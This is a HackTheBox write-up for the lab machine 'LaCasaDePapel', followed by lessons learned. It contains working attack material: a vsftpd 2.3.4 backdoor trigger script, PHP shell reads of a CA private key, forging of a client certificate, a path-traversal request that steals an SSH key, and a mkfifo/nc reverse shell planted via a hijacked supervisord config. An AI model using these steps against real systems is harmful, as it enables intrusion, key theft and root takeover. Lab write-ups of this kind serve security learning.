LaCasaDePapel - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐☆☆

Summary

LaCasaDePapel is an easy difficulty Linux box featuring a backdoored vsftpd 2.3.4 server that exposes a PHP shell with restricted function execution. Through the PHP shell, we extract a CA certificate from a user’s home directory, which we use to create a client certificate for HTTPS access. Once authenticated, an LFI vulnerability in the web application allows us to read the professor’s SSH private key. Finally, privilege escalation is achieved by exploiting inode manipulation to hijack a supervisord configuration file and execute a reverse shell as root.

TL;DR: Backdoored vsftpd → PHP shell → CA certificate extraction → Client certificate creation → LFI to SSH key → Inode hijacking of memcached.ini → Root shell.

Reconnaissance

Port Scanning

nmap -p- --min-rate=1000 -T4 10.10.10.131

Results:

21/tcp   open  ftp      vsftpd 2.3.4
80/tcp   open  http     Apache httpd 2.4.34
443/tcp  open  https    Apache httpd 2.4.34
6200/tcp open  unknown

Service Enumeration

FTP (Port 21): vsftpd 2.3.4 running — a known backdoored version.

HTTP (Port 80): Displays a login page requiring OTP authentication via QR code (Google Authenticator). Standard QR code scanning doesn’t yield valid credentials.

HTTPS (Port 443): Returns an error requiring client certificate authentication. No certificate is initially available.

Port 6200: Unknown service — discovered later to be the backdoor shell access point triggered by the vsftpd exploit.

Vulnerability Assessment

1. Backdoored vsftpd 2.3.4: A failed login attempt to the FTP service triggers a backdoor that opens port 6200 with shell access.
2. Disabled PHP Functions: The PHP shell restricts certain functions like shell_exec(), but file operations like file_get_contents() and scandir() remain available.
3. CA Certificate Exposure: The CA private key is readable via the PHP shell in /home/nairobi/ca.key.
4. Path Traversal/LFI: The HTTPS application’s ?path= parameter is vulnerable to directory traversal.
5. Inode Manipulation: The memcached.ini file can be renamed without permission loss, allowing privilege escalation.

Initial Foothold

Exploitation Path: Backdoored vsftpd → PHP Shell → SSH Key Extraction

Step 1: Exploit Backdoored vsftpd

The vsftpd 2.3.4 version contains a well-known backdoor. A failed login attempt triggers port 6200 to open with shell access.

import socket
import os
import time

def exploit(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))

    # Send malformed login to trigger backdoor
    sock.send(b'USER :)\n')
    sock.send(b'PASS HTBPass\n')
    time.sleep(2)
    sock.close()

    # Connect to backdoored port 6200
    os.system(f"nc {ip} 6200 -v")

exploit("10.10.10.131", 21)

This opens a Psy Shell (PHP interactive debugger) on port 6200.

Step 2: Extract CA Certificate via PHP Shell

The shell has shell_exec() disabled but file_get_contents() works. First, enumerate home directories:

print_r(scandir("/home"))

Discover users: nairobi, professor, berlin, denver, raquel.

Step 3: Read CA Certificate

Locate and read the CA certificate:

echo file_get_contents("/home/nairobi/ca.key")

Copy the entire CA private key output to a local file named ca.key.

Step 4: Create Client Certificate

Download the server certificate from the HTTPS site (lock icon → Details → Export) and save as lacasadepapelhtb.crt.

Generate a client certificate:

# Generate client private key
openssl genrsa -out client.key 4096

# Create certificate signing request
openssl req -new -key client.key -out client.req

# Sign with CA certificate
openssl x509 -req -in client.req -CA lacasadepapelhtb.crt -CAkey ca.key \
  -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer

# Convert to PKCS12 format for browser import
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

# Cleanup
rm client.key client.req client.cer

Step 5: Import Certificate and Access HTTPS

Import client.p12 into Firefox (Preferences → Privacy & Security → View Certificates → Your Certificates → Import). Navigate to https://10.10.10.131 and select the imported certificate when prompted.

Step 6: Exploit LFI to Extract SSH Key

Once authenticated, a video downloader interface is visible. The download links use base64-encoded paths:

# Original path format
https://10.10.10.131/file/U0VBU09OLTIvMDEuYXZp
# Decodes to: SEASON-2/01.avi

Extract the SSH private key by encoding the traversal path:

# Encode the SSH key path
echo -n '../.ssh/id_rsa' | base64
# Output: Li4vLnNzaC9pZF9yc2E=

# Access the SSH key
curl -k https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=

Save the private key to id_rsa and set permissions:

chmod 600 id_rsa

Step 7: SSH Access as Professor

Test the key against each discovered user. The key belongs to professor:

ssh -i id_rsa professor@10.10.10.131

Successful login grants user flag access.

Privilege Escalation

Exploitation Path: Cron Enumeration → Inode Hijacking → Root Shell

Step 1: Enumerate Running Processes

Download and run pspy to monitor cron jobs:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s
scp -i id_rsa pspy64s professor@10.10.10.131:/tmp/pspy
ssh -i id_rsa professor@10.10.10.131
chmod +x /tmp/pspy
/tmp/pspy

After monitoring, observe a cron job executing with root privileges:

CMD: /usr/bin/python3 -c import supervisor.eventlistener; supervisor.eventlistener.main(['--buffer-size', '100', '/dev/stdin'])

This runs supervisord configuration from /home/professor/memcached.ini.

Step 2: Analyze Configuration File

Examine the target configuration:

cat memcached.ini

Output shows:

[program:memcached]
command = /usr/bin/memcached -u root

The file is owned by root and not directly writable by the professor user.

Step 3: Exploit Inode Manipulation

Linux renaming operations only change inode mappings, not file permissions. Since the user owns the directory containing memcached.ini, the file can be renamed:

cd /home/professor
mv memcached.ini memcached.ini.bak
ls -la memcached.ini.bak

# Verify permissions remain unchanged (still root-owned)

Step 4: Create Malicious Configuration

Create a reverse shell script:

cat > /tmp/shell.sh << 'EOF'
#!/bin/bash
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.16.32 1234 > /tmp/f
EOF

chmod +x /tmp/shell.sh

Step 5: Hijack Configuration

Create a new memcached.ini in the professor’s home directory:

cat > /home/professor/memcached.ini << 'EOF'
[program:memcached]
command = su -c /tmp/shell.sh
EOF

Step 6: Catch Root Shell

Set up a listener on the attacking machine:

nc -lvnp 1234

When the supervisord cron job runs (typically within minutes), it executes the malicious command as root. The reverse shell connects back with root privileges:

# Connection received with root access
whoami
# root

cat /root/root.txt

Attack Chain Summary

Backdoored vsftpd (Port 21)
    ↓
PHP Shell on Port 6200
    ↓
Read CA Certificate (/home/nairobi/ca.key)
    ↓
Generate Client Certificate (client.p12)
    ↓
Access HTTPS Application
    ↓
LFI Vulnerability (?path=../.ssh/id_rsa)
    ↓
Extract SSH Private Key
    ↓
SSH Access as professor
    ↓
Monitor Crons (pspy)
    ↓
Identify supervisord memcached.ini Execution
    ↓
Inode Manipulation (rename memcached.ini)
    ↓
Create Malicious Configuration
    ↓
Root Shell via Reverse Shell

Tools Used

Key Learnings

Techniques Practiced

• Exploiting known vulnerabilities in outdated software versions (vsftpd 2.3.4 backdoor)
• PHP code execution within restricted environments (disabled_functions)
• X.509 certificate generation and client certificate authentication workflows
• Path traversal and Local File Inclusion (LFI) exploitation
• Base64 encoding/decoding for bypass techniques
• Linux inode concepts and file system manipulation
• Process monitoring with pspy for privilege escalation enumeration
• Supervisord configuration exploitation

Lessons Learned

1. Backdoored Versions Matter: Always check for known vulnerabilities in outdated service versions — vsftpd 2.3.4 is a textbook example exploited in real-world scenarios.

2. PHP Restrictions Are Not Absolute: Even with shell_exec() disabled, file operations like file_get_contents() and scandir() can extract sensitive information from the system.

3. Certificate Management Is Exploitable: If CA keys are readable through any vector (in this case, a PHP shell), complete certificate generation becomes possible, undermining the entire HTTPS authentication scheme.

4. Directory Traversal + LFI = Compromise: Path parameters should always be validated. The combination of LFI and directory traversal led directly to SSH key extraction.

5. Understand Inode Behavior: File permissions are stored in inodes, but directory ownership controls rename operations. This distinction enables privilege escalation vectors like memcached.ini hijacking.

6. Cron Monitoring Is Essential: Using tools like pspy to identify recurring privileged operations reveals attack surfaces that static analysis might miss.

7. Configuration File Hijacking: Supervisord and similar init systems read configuration from predictable locations. If users can manipulate these files (via inode tricks or direct access), code execution at the service’s privilege level becomes trivial.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>